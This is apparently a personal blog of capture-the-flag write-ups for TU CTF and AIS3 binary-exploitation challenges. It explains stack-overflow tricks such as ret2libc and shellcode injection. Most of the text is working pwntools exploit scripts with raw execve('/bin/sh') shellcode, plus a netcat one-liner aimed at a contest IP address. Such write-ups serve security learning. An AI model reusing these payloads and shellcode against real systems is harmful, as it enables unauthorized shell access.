TU CTF - Where Heretics Suffer

Sat, 21 May 2016 00:00:00 +0800

When I got this challenge it was already a binary, compiled with a newer gcc that has some new mechanisms for function calls, as follows:

 80485cb:       8d 4c 24 04             lea    ecx,[esp+0x4]
 80485cf:       83 e4 f0                and    esp,0xfffffff0
 80485d2:       ff 71 fc                push   DWORD PTR [ecx-0x4]
 80485d5:       55                      push   ebp
 80485d6:       89 e5                   mov    ebp,esp
 80485d8:       51                      push   ecx
 80485d9:       83 ec 34                sub    esp,0x34

 ......

 8048682:       b8 00 00 00 00          mov    eax,0x0
 8048687:       8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 804868a:       c9                      leave
 804868b:       8d 61 fc                lea    esp,[ecx-0x4]
 804868e:       c3                      ret

You can see that during setup, lea ecx,[esp+0x4] puts the value of esp into ecx, then pushes ecx onto the stack; after we overflow, we also overwrite that original value.

The challenge is generous and provides a lot, so we can compute the address of system, and it also gives the buffer address. So we put the ret address at the start of the buffer — once esp is controlled properly it won’t break — and then stack a normal ret2libc as usual.

from pwn import *

e = ELF('/lib32/libc.so.6')
#e = ELF('./libc.so.6')

r = remote("127.0.0.1",4000)
r.recvlines(2)
puts = r.recvline().strip()[47:57]
print 'puts : ',puts
puts = int(puts, 16)

buffer = r.recvline().strip()[-10:]
print 'buffer :',buffer
buffer = int(buffer,16)

system = puts - ( e.symbols['puts'] - e.symbols['system'] )
print 'system : ',hex(system)

payload = p32(system) + p32(0) + p32(buffer + 4*7) + p32(0) + p32(0) + p32(0) + p32(0)
payload += '/bin/sh\x00'
payload += 'A'*(44-len(payload))
print len(payload)


r.sendline( payload + p32( buffer + 4)  )

r.interactive()

AIS3 PWN

Tue, 24 Nov 2015 00:00:00 +0800

A quick write-up.

PWN1

Throw it into IDA and you can see:

if ( v4 == 0x90909090 )
result = puts(aCensordCensord);
else
result = printf("Your point is only %d, try hard!\n", v4, v1,
v2, v3);
return result;

Just stuff it with 0x90 and you’re done:

python -c 'print "\x90"*1000' | nc 52.69.163.194 1111

PWN2

After locating byte 20 you can control eip:

gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x08048364  _init
0x080483a0  read@plt

You can point it at read; generally it looks like this:

call
ret
argv1
argv2
argv3

You can control read’s return address and arguments, so you can point ret and our shellcode at the same location; for the shellcode, just find any blank area and write it there.

from pwn import *
import time
r = remote('127.0.0.1', 4000)
read_adr = "\xa0\x83\x04\x08"
read = "\x00\x00\x00\x00" + "\x00\xa1\x04\x08" + "\x00\x01\x00\x00"
p = "a"*20 + read_adr + "\x00\xa1\x04\x08" + read
r.send (p)
time.sleep(5)
r.send ("\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd
\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68")

PWN3

A lot of this I worked out with qira. For pwn3, you can keep using push to overwrite ret, and finally exit to complete the overwrite. First figure out how far the pop leak value is from our shellcode; the difference works out to 36, but it will overwrite ret, so after ret we need to give it a pointer to our shellcode. With %d, anything over 0x80000000 needs 0x100000000 subtracted so the value inserted comes out correct. Our payload is expected to look like this:

point to shellcode + shellcode + nop + ret

from pwn import *
import time
r = remote('127.0.0.1',4000)
def push(num):
     r.send('1\n')
     time.sleep(0.2)
     if num > 0x80000000:
           num -= 0x100000000
     r.send( str(num) + '\n')
#pop leak
r.send('2\n')
item = r.recvline_contains('item')[13:23]
shell_adr = int(item,16) - 36 + 4
#shellcode point
push(shell_adr)
#shellcode
push(0x315b0beb)
push(0x31c931c0)
push(0xcd0bb0d2)
push(0xfff0e880)
push(0x622fffff)
push(0x732f6e69)
push(0x90900068)
#nop
for _ in range (0,16):
     push(0x90909090)
#ret
push(shell_adr)
#exit
time.sleep(1)
r.send('4\n')
#get shell
r.interactive()

Writeup on Zet’s playground

TU CTF - Where Heretics Suffer

AIS3 PWN

PWN1

PWN2

PWN3